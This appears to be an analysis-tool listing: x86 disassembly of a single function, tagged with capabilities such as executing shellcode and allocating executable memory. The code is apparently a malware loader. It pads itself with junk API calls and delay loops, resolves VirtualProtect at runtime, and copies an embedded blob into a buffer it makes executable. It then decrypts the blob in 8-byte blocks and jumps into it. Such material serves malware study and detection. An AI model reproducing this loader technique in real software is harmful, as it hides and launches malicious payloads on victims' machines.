Function at 0x401a58
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows

Disassembly:
mov eax, 0x433baa
call fcn.00433968
sub esp, 0x4e0
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x207142
jg 0x401a86
inc edi
cmp edi, 0x67d12
jl 0x401a6f
cmp dword [0x2087874], 0x93
jne 0x401b62
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.USER32.dll_SetUserObjectSecurity]
xor eax, eax
lock bts dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x4ec]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push str.tuvefogexedirogaxudixadik
lea ecx, [ebp - 0x44]
call fcn.00401e07
push esi
push esi
push esi
push esi
mov dword [ebp - 4], esi
call fcn.004048fd
push esi
push esi
call fcn.00404658
add esp, 0x18
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x1c], str.bad_exception
call fcn.00404009
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], vtable.std::bad_exception.0
call fcn.00404065
lea eax, [ebp - 0xec]
push eax
call fcn.00402109
lea ecx, [ebp - 0x8c]
call fcn.004021a5
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x8c], vtable.std::ios_base.0
call fcn.004031cb
or dword [ebp - 4], 0xffffffff
pop ecx
push esi
push 1
lea ecx, [ebp - 0x44]
call fcn.004028da
mov eax, dword [0x43a868]
add dword [0x2087874], 0x1134b
push str.kernel32.dll
mov dword [0x20886b0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
mov dword [0x2087304], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2087874]
mov dword [0x20872f8], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2087874]
mov dword [0x2087300], eax
push eax
call dword [0x20872f8]
mov ebx, 0x1692e
push esi
lea eax, [ebp - 0x4ec]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec ebx
jne 0x401bc1
cmp dword [0x2087874], esi
jbe 0x401c3f
mov eax, dword [0x20886b0]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x2087300]
mov byte [ecx + ebx], al
cmp dword [0x2087874], 0x490
jne 0x401c36
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc ebx
cmp ebx, dword [0x2087874]
jb 0x401be7
xor edi, edi
mov eax, dword [0x2087874]
add eax, edi
cmp eax, 0x8d
jne 0x401c6a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32NextW]
inc edi
cmp edi, 0x38681
jl 0x401c41
mov eax, dword [0x2087874]
mov ecx, dword [0x2087300]
shr eax, 3
cmp eax, esi
jbe 0x401ca6
mov ebx, ecx
mov edi, eax
cmp dword [0x2087874], 0x959
jne 0x401c9b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call fcn.00401670
add ebx, 8
dec edi
jne 0x401c89
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x61
jne 0x401cc7
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2087300], eax
inc ebx
cmp ebx, 0x674bd
jl 0x401ca8
push 0x7b
pop edi
cmp dword [0x2087874], 0x86
jne 0x401d01
push esi
push esi
push dword [ebp - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x401cd3
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2087300]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret